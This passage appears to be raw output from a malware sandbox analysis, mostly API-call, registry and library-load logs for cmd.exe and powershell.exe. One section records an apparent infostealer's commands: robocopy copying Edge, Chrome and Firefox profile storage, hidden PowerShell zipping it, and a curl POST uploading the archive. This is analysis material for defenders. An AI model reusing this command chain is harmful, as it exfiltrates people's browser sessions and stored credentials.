2e9a776b218747271de0e38909a858bdf96ecc8d9ea3ab1564259a265f27d639eff1f603bf0634cb916b5bc5fd3b998a3fdd39decec493d9fa88c378b085bfb92b7645c0d42d3e13d44c12fe1a54d91a1da843d45f20eefe6e2389b96fd25d7f7994b84f6794eae156bdd7056748472b3fa3f2611f74d806ed84caae2c31d75e1d722d88bcab91b0a67fd03135f4ba74e58d0203010001a382018f3082018b300e0603551d0f0101ff040403020780301f0603551d2504183016060a2b0601040182370a030606082b06010505070303301d0603551d0e041604142b4eb0a3eedc4ec122deeaf891bb93e82198091430450603551d11043e303ca43a3038311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e311630140603550405130d353030343436" "pcbBinary": "26280000" "pdwFlags": "01000000"}3c:T1146,"cmd.exe" called "RtlGetVersion" with parameter 140100000a00000000000000654a00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00000860) "cmd.exe" called "RtlGetVersion" with parameter 000000000a00000000000000654a00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00000860) "powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000654a00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007064) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000654a00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007064) "powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000654a000002000000000000000000000000000000b0fd9e200502000010199addfb7f0000000000000000000000008621050200000000000000000000ee2666dbfb7f00000700000000000000d0c4e711e1000000d0c4e711e1000000400e74dbfb7f000000008621050200007b6307dbfb7f0000030000000000000000000000000000009200000000000000a004f62105020000c0c4e711e1000000bb5f66dbfb7f00000d00000005020000a004f6210502000092000000000000000000000000000000a004f621050200001c5b66dbfb7f0000000000000000000092000000000000000d000000050200000d00000000000000aa00000000000000d245972105020000a03a9c21 (UID: 00000000-00007064) "powershell.exe" called "RtlGetVersion" with parameter 240100000a00000000000000654a00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007064) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000654a0000020000000000000008000000000000000000a7ddfb7f00007054e012e100000012000001fb7f00004059e012e100000005000000000000000000000000000000000000000000000000000000000000000000000083b8000000000000000000000a00000001000000000000000000000000000000000000006bb897ddfb7f000013000100000000006c00000000000000c0d5cb2005020000595f9addfb7f0000010000000000000000b00300000000000000000005020000000f670605020000f80096dafb7f00000000670605020000ac026706050200004054e012e10000003000000000000000c00c6706050200002000000000000000000028000000000000000000 (UID: 00000000-00007064)3d:T5d7,"cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS")3e:T1251,"Robocopy.exe" queries volume information of an entire harddrive"C:\" at 00000000-00008900-00000C17-640106568 "Robocopy.exe" queries volume information of an entire harddrive"C:\" at 00000000-00008900-00000C17-640106801 "Robocopy.exe" queries volume information of an entire harddrive"C:\" at 00000000-00002156-00000C17-640377337 "Robocopy.exe" queries volume information of an entire harddrive"C:\" at 00000000-00002156-00000C17-640377677 "Robocopy.exe" queries volume information of an entire harddrive"C:\" at 00000000-00004336-00000C17-640507944 "Robocopy.exe" queries volume information of an entire harddrive"C:\" at 00000000-00004336-00000C17-640508163 "Robocopy.exe" queries volume information of an entire harddrive"C:\" at 00000000-00008476-00000C17-640742440 "Robocopy.exe" queries volume information of an entire harddrive"C:\" at 00000000-00008476-00000C17-640742793 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll" at 00000000-00007064-00000C17-643393129 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll" at 00000000-00007064-00000C17-643395618 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" at 00000000-00007064-00000C17-643519786 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" at 00000000-00007064-00000C17-643522981 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll" at 00000000-00007064-00000C17-646115028 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll" at 00000000-00007064-00000C17-646121807 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.19041.6456.cat" at 00000000-00007064-00000C17-646173914 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00007064-00000C17-646631615 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll" at 00000000-00007064-00000C17-647503024 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00007064-00000C17-647778075 "powershell.exe" queries volume information of an entire harddrive"C:\" at 00000000-00007064-00000C17-648755727 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.19041.6456.cat" at 00000000-00007064-00000C17-649948367 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.19041.6456.cat" at 00000000-00007064-00000C17-650345029 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.5915.cat" at 00000000-00007064-00000C17-650606623 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.5794.cat" at 00000000-00007064-00000C17-650677178 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll" at 00000000-00007064-00000C17-650767234 "powershell.exe" queries volume information of "C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll" at 00000000-00007064-00000C17-6509349453f:T44d,"cmd.exe" called "CreateProcessW" with parameter "whoami /all" - (UID: 00000000-00000860) "cmd.exe" called "CreateProcessW" with parameter "robocopy "%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Local Storage\leveldb" "%LOCALAPPDATA%\" - (UID: 00000000-00000860), "cmd.exe" called "CreateProcessW" with parameter "robocopy "%TEMP%\vx28417" - (UID: 00000000-00000860) "cmd.exe" called "CreateProcessW" with parameter "robocopy "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Local Storage\leveldb" "%LOCALAPPDATA%\T" - (UID: 00000000-00000860), "cmd.exe" called "CreateProcessW" with parameter "robocopy "%APPDATA%\Mozilla\Firefox\Profiles" "C:\Users\%OSUSER%\AppData\Local\Temp\vx28417\ff" *.json *.db" - (UID: 00000000-00000860), "cmd.exe" called "CreateProcessW" with parameter "powershell -nop -w h -c "Compress-Archive -Path '%TEMP%\vx28417\*' -DestinationPath 'C:\Users\HAPUBW" - (UID: 00000000-00000860) "cmd.exe" called "CreateProcessW" with parameter "curl.exe -s --max-time 600 -X POST -H "x-tag:DESKTOP-FVVF82A" --data-binary @"%TEMP%\vx28417.zip" ht" - (UID: 00000000-00000860)40:T2f25,"powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00007064) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007064) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007064) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007064) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00007064) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00007064) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00007064) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00007064) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00007064) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00007064) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00007064) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00007064) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00007064) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00007064) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00007064) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\6078762b90671c2ff9ba39318e2176d8\mscorlib.ni.dll (UID: 00000000-00007064) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00007064) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00007064) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00007064) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00007064) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00007064) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00007064) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00007064) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00007064) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00007064) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00007064) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\fe3c9cf707273488c6c658d52d624640\System.ni.dll (UID: 00000000-00007064) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\21ff4ba4607b18a9b179ab90fd3b0bc1\System.Core.ni.dll (UID: 00000000-00007064) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00007064) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00007064) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00007064) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00007064) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00007064) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00007064) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00007064) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00007064) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00007064) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00007064) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00007064) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00007064) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00007064) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00007064) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00007064) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00007064) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00007064) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00007064) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\76ff225c5a523f0be2364b0fc02bf7f9\System.Xml.ni.dll (UID: 00000000-00007064) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00007064) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00007064) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00007064) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00007064) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00007064) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007064) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\VERSION.dll (UID: 00000000-00007064) "powershell.exe" called "LoadLibrary" with a parameter Kernel32 (UID: 00000000-00007064) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00007064) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\afd58c711db7cac7f0d5caf525ce8d6c\System.DirectoryServices.ni.d (UID: 00000000-00007064) "powershell.exe" called "LoadLibrary" with a parameter NtDll (UID: 00000000-00007064) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00007064) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00007064) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\8ecda6b0ffa321000faffbdcdb86175b\System.Management.ni.dll (UID: 00000000-00007064) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00007064) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\8990b2f5a93202518a0040e15b565f36\System.Data.ni.dll (UID: 00000000-00007064) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00007064) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\24206316825bb75ebfbdd31895df2f1f\System.Configuration.ni.dll (UID: 00000000-00007064) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00007064) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00007064) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00007064) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00007064) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00007064) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\beabd14f0ab9a67d348911645772e933\System.Transactions.ni.dll (UID: 00000000-00007064) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00007064) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00007064) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00007064) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00007064) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00007064) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\urlmon.dll (UID: 00000000-00007064) "powershell.exe" called "LoadLibrary" with a parameter urlmon.dll (UID: 00000000-00007064) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvC (UID: 00000000-00007064) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Confe64a9051#\9594c82af7b396b5ee8b0ef1d461cea2\System.Configuration.Install. (UID: 00000000-00007064) "powershell.exe" called "LoadLibrary" with a parameter oleaut32 (UID: 00000000-00007064) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDis (UID: 00000000-00007064) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Serv759bfb78#\087c3391dd8ec1328391fec5e2c4d553\System.ServiceProcess.ni.dll (UID: 00000000-00007064) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Drawing\908b5c1debcfb784bc25157a8ebcdfbe\System.Drawing.ni.dll (UID: 00000000-00007064) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\061200dcb8937e1b9eb2641f2ce9d2ec\System.Windows.Forms.ni.dll (UID: 00000000-00007064) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00007064) "powershell.exe" called "LoadLibrary" with a parameter GDI32.dll (UID: 00000000-00007064) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrcompression.dll (UID: 00000000-00007064)41:T9161,"cmd.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00000860) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00000860) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00000860) "cmd.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00000860) "cmd.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00000860) "cmd.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00000860) "powershell.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter RegQueryInfoKeyW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter RegEnumKeyExW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter RegEnumValueW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter AddDllDirectory (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter RegisterShimImplCallback (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter RegisterShimImplCleanupCallback (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter SetShellShimInstance (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter OnShimDllMainCalled (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeEx_RetAddr (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeEx (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter UrlIsW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter AppPolicyGetClrCompat (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackageInfo (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackagePath (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter SetRuntimeInfo (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetProcessWindowStation (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetUserObjectInformationW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter DllGetClassObjectInternal (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter QuirkIsEnabled3 (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter QuirkGetData2 (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter SetThreadErrorMode (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter CreateConfigStream (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter CreateConfigStream_RetAddr (UID: 00000000-00007064) "powershell.exe" called 